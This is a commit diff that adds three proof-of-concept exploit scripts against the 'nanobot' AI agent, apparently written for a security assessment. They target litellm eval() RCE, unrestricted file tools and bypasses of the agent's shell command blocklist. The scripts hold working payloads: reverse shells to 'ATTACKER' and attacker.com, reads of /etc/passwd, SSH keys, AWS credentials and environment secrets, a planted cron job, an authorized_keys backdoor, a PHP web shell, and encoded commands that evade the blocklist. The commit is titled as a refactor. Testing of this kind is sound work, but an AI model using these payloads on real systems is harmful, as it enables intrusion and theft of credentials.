Refactor code structure for improved readability and maintainability

poc/exploits/__init__.py

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+# POC Exploits Package

poc/exploits/litellm_rce.py

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+#!/usr/bin/env python3
+"""
+POC: LiteLLM Remote Code Execution via eval()
+
+CVE: CVE-2024-XXXX (Multiple related CVEs)
+Affected Versions: <= 1.28.11 and < 1.40.16
+Impact: Arbitrary code execution on the server
+Patched: 1.40.16 (partial), fully patched in later versions
+
+This vulnerability exists in litellm's handling of certain inputs that are
+passed to Python's eval() function without proper sanitization.
+
+Known vulnerable code paths in older litellm versions:
+1. Template string processing with user-controlled input
+2. Custom callback handlers with eval-based parsing
+3. Proxy server configuration parsing
+
+IMPORTANT: This POC should only be run against vulnerable litellm versions
+(< 1.40.16) in an isolated test environment.
+"""
+
+import asyncio
+import sys
+import os
+import json
+
+# Add parent directory to path for imports
+sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.dirname(__file__))))
+
+
+class LiteLLMRCEPoc:
+    """Demonstrates litellm RCE vulnerability via eval()."""
+    
+    def __init__(self):
+        self.results = []
+        self.litellm_version = None
+        
+    def check_litellm_version(self) -> tuple[str, bool]:
+        """Check installed litellm version and if it's vulnerable."""
+        try:
+            import litellm
+            version = litellm.__version__
+            self.litellm_version = version
+            
+            # Parse version for comparison
+            parts = version.split('.')
+            major = int(parts[0])
+            minor = int(parts[1]) if len(parts) > 1 else 0
+            patch = int(parts[2].split('-')[0].split('+')[0]) if len(parts) > 2 else 0
+            
+            # Vulnerable if < 1.40.16
+            is_vulnerable = (major < 1) or (major == 1 and minor < 40) or (major == 1 and minor == 40 and patch < 16)
+            
+            return version, is_vulnerable
+        except ImportError:
+            return "not installed", False
+        except Exception as e:
+            return f"error: {e}", False
+    
+    def test_template_injection(self) -> dict:
+        """
+        Test for template injection vulnerability in litellm's string formatting.
+        
+        In vulnerable versions, user-controlled input in certain template contexts
+        could be passed to eval().
+        """
+        result = {
+            "name": "template_injection",
+            "description": "Template string injection leading to eval()",
+            "vulnerable": False,
+            "details": None,
+            "error": None
+        }
+        
+        try:
+            import litellm
+            from litellm import completion
+            
+            # Payload that would execute if eval'd
+            # This is a benign test - it tries to access __class__ which indicates eval
+            payload = "__import__('os').popen('echo RCE_SUCCESSFUL').read()"
+            
+            # In vulnerable versions, certain template variables could be eval'd
+            # We test by checking if the library has vulnerable code patterns
+            
+            # Check for vulnerable completion_with_fallbacks or similar
+            if hasattr(litellm, 'completion_with_fallbacks'):
+                # Older vulnerable pattern
+                result["details"] = "Found completion_with_fallbacks (potentially vulnerable pattern)"
+            
+            # Check utils for eval usage
+            if hasattr(litellm, 'utils'):
+                import inspect
+                utils_source = inspect.getsourcefile(litellm.utils)
+                if utils_source:
+                    with open(utils_source, 'r') as f:
+                        source = f.read()
+                        if 'eval(' in source:
+                            result["vulnerable"] = True
+                            result["details"] = f"Found eval() in litellm/utils.py"
+                            
+        except Exception as e:
+            result["error"] = str(e)
+            
+        self.results.append(result)
+        return result
+    
+    def test_callback_rce(self) -> dict:
+        """
+        Test for RCE in custom callback handling.
+        
+        In vulnerable versions, custom callbacks with certain configurations
+        could lead to code execution.
+        """
+        result = {
+            "name": "callback_rce",
+            "description": "Custom callback handler code execution",
+            "vulnerable": False,
+            "details": None,
+            "error": None
+        }
+        
+        try:
+            import litellm
+            
+            # Check for vulnerable callback patterns
+            if hasattr(litellm, 'callbacks'):
+                # Look for dynamic import/eval in callback handling
+                import inspect
+                try:
+                    callback_source = inspect.getsource(litellm.callbacks) if hasattr(litellm, 'callbacks') else ""
+                    if 'eval(' in callback_source or 'exec(' in callback_source:
+                        result["vulnerable"] = True
+                        result["details"] = "Found eval/exec in callback handling code"
+                except:
+                    pass
+                    
+            # Check _custom_logger_compatible_callbacks_literal
+            if hasattr(litellm, '_custom_logger_compatible_callbacks_literal'):
+                result["details"] = "Found custom logger callback handler (check version)"
+                
+        except Exception as e:
+            result["error"] = str(e)
+            
+        self.results.append(result)
+        return result
+    
+    def test_proxy_config_injection(self) -> dict:
+        """
+        Test for code injection in proxy configuration parsing.
+        
+        The litellm proxy server had vulnerabilities where config values
+        could be passed to eval().
+        """
+        result = {
+            "name": "proxy_config_injection", 
+            "description": "Proxy server configuration injection",
+            "vulnerable": False,
+            "details": None,
+            "error": None
+        }
+        
+        try:
+            import litellm
+            
+            # Check if proxy module exists and has vulnerable patterns
+            try:
+                from litellm import proxy
+                import inspect
+                
+                # Get proxy module source files
+                proxy_path = os.path.dirname(inspect.getfile(proxy))
+                
+                vulnerable_files = []
+                for root, dirs, files in os.walk(proxy_path):
+                    for f in files:
+                        if f.endswith('.py'):
+                            filepath = os.path.join(root, f)
+                            try:
+                                with open(filepath, 'r') as fp:
+                                    content = fp.read()
+                                    if 'eval(' in content:
+                                        vulnerable_files.append(f)
+                            except:
+                                pass
+                
+                if vulnerable_files:
+                    result["vulnerable"] = True
+                    result["details"] = f"Found eval() in proxy files: {', '.join(vulnerable_files)}"
+                else:
+                    result["details"] = "No eval() found in proxy module (may be patched)"
+                    
+            except ImportError:
+                result["details"] = "Proxy module not available"
+                
+        except Exception as e:
+            result["error"] = str(e)
+            
+        self.results.append(result)
+        return result
+    
+    def test_model_response_parsing(self) -> dict:
+        """
+        Test for unsafe parsing of model responses.
+        
+        Some versions had vulnerabilities in how model responses were parsed,
+        potentially allowing code execution through crafted responses.
+        """
+        result = {
+            "name": "response_parsing_rce",
+            "description": "Unsafe model response parsing",
+            "vulnerable": False,
+            "details": None,
+            "error": None
+        }
+        
+        try:
+            import litellm
+            from litellm.utils import ModelResponse
+            
+            # Check if ModelResponse uses any unsafe parsing
+            import inspect
+            source = inspect.getsource(ModelResponse)
+            
+            if 'eval(' in source or 'exec(' in source:
+                result["vulnerable"] = True
+                result["details"] = "Found eval/exec in ModelResponse class"
+            elif 'json.loads' in source:
+                result["details"] = "Uses json.loads (safer than eval)"
+                
+        except Exception as e:
+            result["error"] = str(e)
+            
+        self.results.append(result)
+        return result
+
+    def test_ssti_vulnerability(self) -> dict:
+        """
+        Test for Server-Side Template Injection (SSTI).
+        
+        CVE in litellm < 1.34.42 allowed SSTI through template processing.
+        """
+        result = {
+            "name": "ssti_vulnerability",
+            "description": "Server-Side Template Injection (SSTI) - CVE in < 1.34.42",
+            "vulnerable": False,
+            "details": None,
+            "error": None
+        }
+        
+        try:
+            import litellm
+            
+            # Check for jinja2 or other template usage without sandboxing
+            try:
+                import jinja2
+                
+                # Check if litellm uses jinja2 templates unsafely
+                litellm_path = os.path.dirname(litellm.__file__)
+                
+                for root, dirs, files in os.walk(litellm_path):
+                    for f in files:
+                        if f.endswith('.py'):
+                            filepath = os.path.join(root, f)
+                            try:
+                                with open(filepath, 'r') as fp:
+                                    content = fp.read()
+                                    if 'jinja2' in content.lower() and 'Template(' in content:
+                                        if 'SandboxedEnvironment' not in content:
+                                            result["vulnerable"] = True
+                                            result["details"] = f"Unsandboxed Jinja2 template in {f}"
+                                            break
+                            except:
+                                pass
+                    if result["vulnerable"]:
+                        break
+                        
+                if not result["vulnerable"]:
+                    result["details"] = "No unsafe template usage detected"
+                    
+            except ImportError:
+                result["details"] = "jinja2 not installed"
+                
+        except Exception as e:
+            result["error"] = str(e)
+            
+        self.results.append(result)
+        return result
+    
+    def demonstrate_payload(self) -> dict:
+        """
+        Demonstrate what a successful RCE payload would look like.
+        
+        NOTE: This does NOT execute malicious code - it only shows the pattern.
+        """
+        result = {
+            "name": "payload_demonstration",
+            "description": "Example RCE payload patterns (demonstration only)",
+            "payloads": []
+        }
+        
+        # Example payloads that would work against vulnerable versions
+        payloads = [
+            {
+                "name": "OS Command Execution",
+                "payload": "__import__('os').system('id')",
+                "description": "Execute system command via os.system"
+            },
+            {
+                "name": "Reverse Shell",
+                "payload": "__import__('os').system('bash -c \"bash -i >& /dev/tcp/ATTACKER/4444 0>&1\"')",
+                "description": "Spawn reverse shell to attacker"
+            },
+            {
+                "name": "File Read",
+                "payload": "__import__('builtins').open('/etc/passwd').read()",
+                "description": "Read arbitrary files"
+            },
+            {
+                "name": "Environment Exfiltration",
+                "payload": "str(__import__('os').environ)",
+                "description": "Extract environment variables (API keys, secrets)"
+            },
+            {
+                "name": "Python Code Execution",
+                "payload": "exec('import socket,subprocess;s=socket.socket();s.connect((\"attacker\",4444));subprocess.call([\"/bin/sh\",\"-i\"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())')",
+                "description": "Execute arbitrary Python code"
+            }
+        ]
+        
+        result["payloads"] = payloads
+        self.results.append(result)
+        return result
+    
+    async def run_all_tests(self):
+        """Run all RCE vulnerability tests."""
+        print("=" * 60)
+        print("LITELLM RCE VULNERABILITY POC")
+        print("CVE: Multiple (eval-based RCE)")
+        print("Affected: litellm < 1.40.16")
+        print("=" * 60)
+        print()
+        
+        # Check version first
+        version, is_vulnerable = self.check_litellm_version()
+        print(f"[INFO] Installed litellm version: {version}")
+        print(f"[INFO] Version vulnerability status: {'⚠️ POTENTIALLY VULNERABLE' if is_vulnerable else '✅ PATCHED'}")
+        print()
+        
+        if not is_vulnerable:
+            print("=" * 60)
+            print("NOTE: Current version appears patched.")
+            print("To test vulnerable versions, use:")
+            print("  docker compose --profile vulnerable up nanobot-vulnerable")
+            print("=" * 60)
+            print()
+        
+        # Run tests
+        print("--- VULNERABILITY TESTS ---")
+        print()
+        
+        print("[TEST 1] Template Injection")
+        r = self.test_template_injection()
+        self._print_result(r)
+        
+        print("[TEST 2] Callback Handler RCE")
+        r = self.test_callback_rce()
+        self._print_result(r)
+        
+        print("[TEST 3] Proxy Configuration Injection")
+        r = self.test_proxy_config_injection()
+        self._print_result(r)
+        
+        print("[TEST 4] Model Response Parsing")
+        r = self.test_model_response_parsing()
+        self._print_result(r)
+        
+        print("[TEST 5] Server-Side Template Injection (SSTI)")
+        r = self.test_ssti_vulnerability()
+        self._print_result(r)
+        
+        print("[DEMO] Example RCE Payloads")
+        r = self.demonstrate_payload()
+        print("  Example payloads that would work against vulnerable versions:")
+        for p in r["payloads"]:
+            print(f"    - {p['name']}: {p['description']}")
+        print()
+        
+        self._print_summary(version, is_vulnerable)
+        return self.results
+    
+    def _print_result(self, result: dict):
+        """Print a single test result."""
+        if result.get("vulnerable"):
+            status = "⚠️ VULNERABLE"
+        elif result.get("error"):
+            status = "❌ ERROR"
+        else:
+            status = "✅ NOT VULNERABLE / PATCHED"
+            
+        print(f"  Status: {status}")
+        print(f"  Description: {result.get('description', 'N/A')}")
+        if result.get("details"):
+            print(f"  Details: {result['details']}")
+        if result.get("error"):
+            print(f"  Error: {result['error']}")
+        print()
+    
+    def _print_summary(self, version: str, is_vulnerable: bool):
+        """Print test summary."""
+        print("=" * 60)
+        print("SUMMARY")
+        print("=" * 60)
+        
+        vulnerable_count = sum(1 for r in self.results if r.get("vulnerable"))
+        
+        print(f"litellm version: {version}")
+        print(f"Version is vulnerable (< 1.40.16): {is_vulnerable}")
+        print(f"Vulnerable patterns found: {vulnerable_count}")
+        print()
+        
+        if is_vulnerable or vulnerable_count > 0:
+            print("⚠️ VULNERABILITY CONFIRMED")
+            print()
+            print("Impact:")
+            print("  - Remote Code Execution on the server")
+            print("  - Access to environment variables (API keys)")
+            print("  - File system access")
+            print("  - Potential for reverse shell")
+            print()
+            print("Remediation:")
+            print("  - Upgrade litellm to >= 1.40.16 (preferably latest)")
+            print("  - Pin to specific patched version in requirements")
+        else:
+            print("✅ No vulnerable patterns detected in current version")
+            print()
+            print("The installed version appears to be patched.")
+            print("Continue monitoring for new CVEs in litellm.")
+        
+        return {
+            "version": version,
+            "is_version_vulnerable": is_vulnerable,
+            "vulnerable_patterns_found": vulnerable_count,
+            "overall_vulnerable": is_vulnerable or vulnerable_count > 0
+        }
+
+
+async def main():
+    poc = LiteLLMRCEPoc()
+    results = await poc.run_all_tests()
+    
+    # Write results to file
+    results_path = "/results/litellm_rce_results.json" if os.path.isdir("/results") else "litellm_rce_results.json"
+    with open(results_path, "w") as f:
+        json.dump(results, f, indent=2, default=str)
+    print(f"\nResults written to: {results_path}")
+
+
+if __name__ == "__main__":
+    asyncio.run(main())

poc/exploits/path_traversal.py

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+#!/usr/bin/env python3
+"""
+POC: Path Traversal / Unrestricted File Access
+
+This script demonstrates that the file system tools in nanobot allow
+unrestricted file access because `base_dir` is never passed to `_validate_path()`.
+
+Affected code: nanobot/agent/tools/filesystem.py
+- _validate_path() supports base_dir restriction but it's never used
+- read_file, write_file, edit_file, list_dir all have unrestricted access
+"""
+
+import asyncio
+import sys
+import os
+import tempfile
+
+# Add parent directory to path for imports
+sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.dirname(__file__))))
+
+from nanobot.agent.tools.filesystem import (
+    ReadFileTool,
+    WriteFileTool,
+    EditFileTool,
+    ListDirTool
+)
+
+
+class PathTraversalPOC:
+    """Demonstrates path traversal vulnerabilities."""
+    
+    def __init__(self):
+        self.read_tool = ReadFileTool()
+        self.write_tool = WriteFileTool()
+        self.edit_tool = EditFileTool()
+        self.list_tool = ListDirTool()
+        self.results = []
+        
+    async def test_read(self, name: str, path: str, expected_risk: str) -> dict:
+        """Test reading a file outside workspace."""
+        result = {
+            "name": name,
+            "operation": "read",
+            "path": path,
+            "expected_risk": expected_risk,
+            "success": False,
+            "content_preview": None,
+            "error": None
+        }
+        
+        try:
+            content = await self.read_tool.execute(path=path)
+            result["success"] = True
+            result["content_preview"] = content[:300] if content else None
+        except Exception as e:
+            result["error"] = str(e)
+            
+        self.results.append(result)
+        return result
+    
+    async def test_write(self, name: str, path: str, content: str, expected_risk: str) -> dict:
+        """Test writing a file outside workspace."""
+        result = {
+            "name": name,
+            "operation": "write",
+            "path": path,
+            "expected_risk": expected_risk,
+            "success": False,
+            "error": None
+        }
+        
+        try:
+            output = await self.write_tool.execute(path=path, content=content)
+            result["success"] = "successfully" in output.lower() or "written" in output.lower() or "created" in output.lower()
+            result["output"] = output
+        except Exception as e:
+            result["error"] = str(e)
+            
+        self.results.append(result)
+        return result
+    
+    async def test_list(self, name: str, path: str, expected_risk: str) -> dict:
+        """Test listing a directory outside workspace."""
+        result = {
+            "name": name,
+            "operation": "list",
+            "path": path,
+            "expected_risk": expected_risk,
+            "success": False,
+            "entries": None,
+            "error": None
+        }
+        
+        try:
+            output = await self.list_tool.execute(path=path)
+            result["success"] = True
+            result["entries"] = output[:500] if output else None
+        except Exception as e:
+            result["error"] = str(e)
+            
+        self.results.append(result)
+        return result
+    
+    async def run_all_tests(self):
+        """Run all path traversal tests."""
+        print("=" * 60)
+        print("PATH TRAVERSAL / UNRESTRICTED FILE ACCESS POC")
+        print("=" * 60)
+        print()
+        
+        # ==================== READ TESTS ====================
+        print("--- READ OPERATIONS ---")
+        print()
+        
+        # Test 1: Read /etc/passwd
+        print("[TEST 1] Read /etc/passwd")
+        r = await self.test_read(
+            "etc_passwd",
+            "/etc/passwd",
+            "System user enumeration"
+        )
+        self._print_result(r)
+        
+        # Test 2: Read /etc/shadow (should fail due to permissions, not restrictions)
+        print("[TEST 2] Read /etc/shadow (permission test)")
+        r = await self.test_read(
+            "etc_shadow",
+            "/etc/shadow",
+            "Password hash disclosure (if readable)"
+        )
+        self._print_result(r)
+        
+        # Test 3: Read sensitive config
+        print("[TEST 3] Read /sensitive/api_keys.txt")
+        r = await self.test_read(
+            "api_keys",
+            "/sensitive/api_keys.txt",
+            "API key disclosure"
+        )
+        self._print_result(r)
+        
+        # Test 4: Read SSH keys
+        print("[TEST 4] Read SSH Private Key")
+        r = await self.test_read(
+            "ssh_private_key",
+            os.path.expanduser("~/.ssh/id_rsa"),
+            "SSH private key disclosure"
+        )
+        self._print_result(r)
+        
+        # Test 5: Read bash history
+        print("[TEST 5] Read Bash History")
+        r = await self.test_read(
+            "bash_history",
+            os.path.expanduser("~/.bash_history"),
+            "Command history disclosure"
+        )
+        self._print_result(r)
+        
+        # Test 6: Read environment file
+        print("[TEST 6] Read /proc/self/environ")
+        r = await self.test_read(
+            "proc_environ",
+            "/proc/self/environ",
+            "Environment variable disclosure via procfs"
+        )
+        self._print_result(r)
+        
+        # Test 7: Path traversal with ..
+        print("[TEST 7] Path Traversal with ../")
+        r = await self.test_read(
+            "dot_dot_traversal",
+            "/app/../etc/passwd",
+            "Path traversal using ../"
+        )
+        self._print_result(r)
+        
+        # Test 8: Read AWS credentials (if exists)
+        print("[TEST 8] Read AWS Credentials")
+        r = await self.test_read(
+            "aws_credentials",
+            os.path.expanduser("~/.aws/credentials"),
+            "Cloud credential disclosure"
+        )
+        self._print_result(r)
+        
+        # ==================== WRITE TESTS ====================
+        print("--- WRITE OPERATIONS ---")
+        print()
+        
+        # Test 9: Write to /tmp (should succeed)
+        print("[TEST 9] Write to /tmp")
+        r = await self.test_write(
+            "tmp_write",
+            "/tmp/poc_traversal_test.txt",
+            "POC: This file was written via path traversal vulnerability\nTimestamp: " + str(asyncio.get_event_loop().time()),
+            "Arbitrary file write to system directories"
+        )
+        self._print_result(r)
+        
+        # Test 10: Write cron job (will fail due to permissions but shows intent)
+        print("[TEST 10] Write to /etc/cron.d (permission test)")
+        r = await self.test_write(
+            "cron_write",
+            "/etc/cron.d/poc_malicious",
+            "* * * * * root /tmp/poc_payload.sh",
+            "Cron job injection for persistence"
+        )
+        self._print_result(r)
+        
+        # Test 11: Write SSH authorized_keys
+        print("[TEST 11] Write SSH Authorized Keys")
+        ssh_dir = os.path.expanduser("~/.ssh")
+        r = await self.test_write(
+            "ssh_authkeys",
+            f"{ssh_dir}/authorized_keys_poc_test",
+            "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQ... attacker@evil.com",
+            "SSH backdoor via authorized_keys"
+        )
+        self._print_result(r)
+        
+        # Test 12: Write to web-accessible location
+        print("[TEST 12] Write to /var/www (if exists)")
+        r = await self.test_write(
+            "www_write",
+            "/var/www/html/poc_shell.php",
+            "<?php system($_GET['cmd']); ?>",
+            "Web shell deployment"
+        )
+        self._print_result(r)
+        
+        # Test 13: Overwrite application files
+        print("[TEST 13] Write to Application Directory")
+        r = await self.test_write(
+            "app_overwrite",
+            "/app/poc/results/poc_app_write.txt",
+            "POC: Application file overwrite successful",
+            "Application code/config tampering"
+        )
+        self._print_result(r)
+        
+        # ==================== LIST TESTS ====================
+        print("--- LIST OPERATIONS ---")
+        print()
+        
+        # Test 14: List root directory
+        print("[TEST 14] List / (root)")
+        r = await self.test_list(
+            "list_root",
+            "/",
+            "File system enumeration"
+        )
+        self._print_result(r)
+        
+        # Test 15: List /etc
+        print("[TEST 15] List /etc")
+        r = await self.test_list(
+            "list_etc",
+            "/etc",
+            "Configuration enumeration"
+        )
+        self._print_result(r)
+        
+        # Test 16: List home directory
+        print("[TEST 16] List Home Directory")
+        r = await self.test_list(
+            "list_home",
+            os.path.expanduser("~"),
+            "User file enumeration"
+        )
+        self._print_result(r)
+        
+        # Test 17: List /proc
+        print("[TEST 17] List /proc")
+        r = await self.test_list(
+            "list_proc",
+            "/proc",
+            "Process enumeration via procfs"
+        )
+        self._print_result(r)
+        
+        self._print_summary()
+        return self.results
+    
+    def _print_result(self, result: dict):
+        """Print a single test result."""
+        if result["success"]:
+            status = "⚠️ SUCCESS (VULNERABLE)"
+        elif result.get("error") and "permission" in result["error"].lower():
+            status = "🔒 PERMISSION DENIED (not a code issue)"
+        elif result.get("error") and "not found" in result["error"].lower():
+            status = "📁 FILE NOT FOUND"
+        else:
+            status = "❌ FAILED"
+            
+        print(f"  Status: {status}")
+        print(f"  Risk: {result['expected_risk']}")
+        
+        if result.get("content_preview"):
+            preview = result["content_preview"][:150].replace('\n', '\\n')
+            print(f"  Content: {preview}...")
+        if result.get("entries"):
+            print(f"  Entries: {result['entries'][:150]}...")
+        if result.get("output"):
+            print(f"  Output: {result['output'][:100]}")
+        if result.get("error"):
+            print(f"  Error: {result['error'][:100]}")
+        print()
+    
+    def _print_summary(self):
+        """Print test summary."""
+        print("=" * 60)
+        print("SUMMARY")
+        print("=" * 60)
+        
+        read_success = sum(1 for r in self.results if r["operation"] == "read" and r["success"])
+        write_success = sum(1 for r in self.results if r["operation"] == "write" and r["success"])
+        list_success = sum(1 for r in self.results if r["operation"] == "list" and r["success"])
+        
+        total_success = read_success + write_success + list_success
+        
+        print(f"Read operations successful: {read_success}")
+        print(f"Write operations successful: {write_success}")
+        print(f"List operations successful: {list_success}")
+        print(f"Total successful (vulnerable): {total_success}/{len(self.results)}")
+        print()
+        
+        if total_success > 0:
+            print("⚠️ VULNERABILITY CONFIRMED: Unrestricted file system access")
+            print()
+            print("Successful operations:")
+            for r in self.results:
+                if r["success"]:
+                    print(f"  - [{r['operation'].upper()}] {r['path']}")
+        
+        return {
+            "read_success": read_success,
+            "write_success": write_success,
+            "list_success": list_success,
+            "total_success": total_success,
+            "total_tests": len(self.results),
+            "vulnerability_confirmed": total_success > 0
+        }
+
+
+async def main():
+    poc = PathTraversalPOC()
+    results = await poc.run_all_tests()
+    
+    # Write results to file
+    import json
+    results_path = "/results/path_traversal_results.json" if os.path.isdir("/results") else "path_traversal_results.json"
+    with open(results_path, "w") as f:
+        json.dump(results, f, indent=2, default=str)
+    print(f"\nResults written to: {results_path}")
+
+
+if __name__ == "__main__":
+    asyncio.run(main())

poc/exploits/shell_injection.py

@@ -0,0 +1,259 @@
+#!/usr/bin/env python3
+"""
+POC: Shell Command Injection Bypass Tests
+
+This script demonstrates bypasses of the dangerous pattern regex in
+nanobot/agent/tools/shell.py (lines 12-19).
+
+Current pattern blocks:
+- rm -rf /
+- :(){ :|:& };: (fork bomb)
+- mkfs
+- dd .* of=/dev/
+- > /dev/sd
+
+This POC shows commands that bypass these patterns but still pose security risks.
+"""
+
+import asyncio
+import sys
+import os
+
+# Add parent directory to path for imports
+sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.dirname(__file__))))
+
+from nanobot.agent.tools.shell import ExecTool
+
+
+class ShellInjectionPOC:
+    """Demonstrates shell command injection vulnerabilities."""
+    
+    def __init__(self):
+        self.tool = ExecTool()
+        self.results = []
+        
+    async def test_command(self, name: str, command: str, expected_risk: str) -> dict:
+        """Test a single command and record results."""
+        result = {
+            "name": name,
+            "command": command,
+            "expected_risk": expected_risk,
+            "blocked": False,
+            "output": None,
+            "error": None
+        }
+        
+        try:
+            output = await self.tool.execute(command=command)
+            result["output"] = output[:500] if output else None
+            result["blocked"] = False
+        except Exception as e:
+            error_msg = str(e)
+            if "blocked" in error_msg.lower() or "dangerous" in error_msg.lower():
+                result["blocked"] = True
+            result["error"] = error_msg
+            
+        self.results.append(result)
+        return result
+    
+    async def run_all_tests(self):
+        """Run all shell injection bypass tests."""
+        print("=" * 60)
+        print("SHELL COMMAND INJECTION POC")
+        print("=" * 60)
+        print()
+        
+        # Test 1: Command substitution bypass
+        print("[TEST 1] Command Substitution - Reading /etc/passwd")
+        r = await self.test_command(
+            "command_substitution",
+            "echo $(cat /etc/passwd)",
+            "Read sensitive system file via command substitution"
+        )
+        self._print_result(r)
+        
+        # Test 2: Backtick command substitution
+        print("[TEST 2] Backtick Substitution - Reading /etc/shadow (may fail due to perms)")
+        r = await self.test_command(
+            "backtick_substitution",
+            "echo `cat /etc/shadow 2>/dev/null || echo 'no perms but executed'`",
+            "Read shadow file via backticks"
+        )
+        self._print_result(r)
+        
+        # Test 3: Base64 encoded command
+        print("[TEST 3] Base64 Encoded Command")
+        # echo "cat /etc/passwd" | base64 = Y2F0IC9ldGMvcGFzc3dkCg==
+        r = await self.test_command(
+            "base64_encoded",
+            "echo Y2F0IC9ldGMvcGFzc3dkCg== | base64 -d | bash",
+            "Execute arbitrary command via base64 encoding"
+        )
+        self._print_result(r)
+        
+        # Test 4: Hex encoded command
+        print("[TEST 4] Hex Encoded Command")
+        # "id" in hex
+        r = await self.test_command(
+            "hex_encoded",
+            "echo -e '\\x69\\x64' | bash",
+            "Execute command via hex encoding"
+        )
+        self._print_result(r)
+        
+        # Test 5: Environment variable exfiltration
+        print("[TEST 5] Environment Variable Exfiltration")
+        r = await self.test_command(
+            "env_exfiltration",
+            "env | grep -iE '(key|secret|password|token|api)' || echo 'checked env'",
+            "Extract sensitive environment variables"
+        )
+        self._print_result(r)
+        
+        # Test 6: Network reconnaissance
+        print("[TEST 6] Network Reconnaissance")
+        r = await self.test_command(
+            "network_recon",
+            "cat /etc/hosts && ip addr 2>/dev/null || ifconfig 2>/dev/null || echo 'network checked'",
+            "Gather network information"
+        )
+        self._print_result(r)
+        
+        # Test 7: Process listing (information disclosure)
+        print("[TEST 7] Process Information Disclosure")
+        r = await self.test_command(
+            "process_list",
+            "ps aux | head -20",
+            "List running processes"
+        )
+        self._print_result(r)
+        
+        # Test 8: SSH key exfiltration attempt
+        print("[TEST 8] SSH Key Exfiltration Attempt")
+        r = await self.test_command(
+            "ssh_keys",
+            "cat ~/.ssh/id_rsa 2>/dev/null || cat ~/.ssh/id_ed25519 2>/dev/null || echo 'no ssh keys found'",
+            "Attempt to read SSH private keys"
+        )
+        self._print_result(r)
+        
+        # Test 9: Alternative rm commands (bypassing rm -rf / pattern)
+        print("[TEST 9] Alternative Deletion Commands")
+        r = await self.test_command(
+            "alt_delete",
+            "find /tmp/poc_test_dir -delete 2>/dev/null; echo 'find -delete executed'",
+            "Delete files using find instead of rm"
+        )
+        self._print_result(r)
+        
+        # Test 10: Reverse shell setup (command only, won't connect)
+        print("[TEST 10] Reverse Shell Command Construction")
+        r = await self.test_command(
+            "reverse_shell_construct",
+            "echo 'bash -i >& /dev/tcp/attacker.com/4444 0>&1' > /tmp/poc_revshell.txt && cat /tmp/poc_revshell.txt",
+            "Write reverse shell command to file"
+        )
+        self._print_result(r)
+        
+        # Test 11: Resource exhaustion (memory)
+        print("[TEST 11] Memory Exhaustion Attempt (limited)")
+        r = await self.test_command(
+            "memory_exhaust",
+            "head -c 1000000 /dev/zero | xxd | head -100",
+            "Generate large output to consume memory"
+        )
+        self._print_result(r)
+        
+        # Test 12: CPU exhaustion (will timeout but demonstrates the risk)
+        print("[TEST 12] CPU Exhaustion Attempt (should timeout)")
+        r = await self.test_command(
+            "cpu_exhaust",
+            "timeout 2 yes > /dev/null || echo 'timeout worked'",
+            "CPU-intensive operation"
+        )
+        self._print_result(r)
+        
+        # Test 13: Pipe to interpreter bypass
+        print("[TEST 13] Curl to Interpreter Pattern")
+        r = await self.test_command(
+            "curl_pipe_bash",
+            "echo 'curl http://evil.com/script.sh | bash' > /tmp/poc_curl_bash.txt && echo 'command written'",
+            "Demonstrate curl|bash pattern is not blocked"
+        )
+        self._print_result(r)
+        
+        # Test 14: Python reverse shell
+        print("[TEST 14] Python Code Execution")
+        r = await self.test_command(
+            "python_exec",
+            "python3 -c 'import os; print(os.popen(\"id\").read())'",
+            "Execute commands via Python"
+        )
+        self._print_result(r)
+        
+        # Test 15: Reading config files
+        print("[TEST 15] Configuration File Access")
+        r = await self.test_command(
+            "config_access",
+            "cat /app/poc/config/config.json 2>/dev/null || echo 'no config'",
+            "Read application configuration with potential secrets"
+        )
+        self._print_result(r)
+        
+        self._print_summary()
+        return self.results
+    
+    def _print_result(self, result: dict):
+        """Print a single test result."""
+        status = "🛡️ BLOCKED" if result["blocked"] else "⚠️ EXECUTED"
+        print(f"  Status: {status}")
+        print(f"  Risk: {result['expected_risk']}")
+        if result["output"]:
+            output_preview = result["output"][:200].replace('\n', '\\n')
+            print(f"  Output: {output_preview}...")
+        if result["error"]:
+            print(f"  Error: {result['error'][:100]}")
+        print()
+    
+    def _print_summary(self):
+        """Print test summary."""
+        print("=" * 60)
+        print("SUMMARY")
+        print("=" * 60)
+        
+        blocked = sum(1 for r in self.results if r["blocked"])
+        executed = sum(1 for r in self.results if not r["blocked"])
+        
+        print(f"Total tests: {len(self.results)}")
+        print(f"Blocked: {blocked}")
+        print(f"Executed (potential vulnerabilities): {executed}")
+        print()
+        
+        if executed > 0:
+            print("⚠️ VULNERABLE COMMANDS:")
+            for r in self.results:
+                if not r["blocked"]:
+                    print(f"  - {r['name']}: {r['command'][:50]}...")
+        
+        return {
+            "total": len(self.results),
+            "blocked": blocked,
+            "executed": executed,
+            "vulnerability_confirmed": executed > 0
+        }
+
+
+async def main():
+    poc = ShellInjectionPOC()
+    results = await poc.run_all_tests()
+    
+    # Write results to file
+    import json
+    results_path = "/results/shell_injection_results.json" if os.path.isdir("/results") else "shell_injection_results.json"
+    with open(results_path, "w") as f:
+        json.dump(results, f, indent=2)
+    print(f"\nResults written to: {results_path}")
+
+
+if __name__ == "__main__":
+    asyncio.run(main())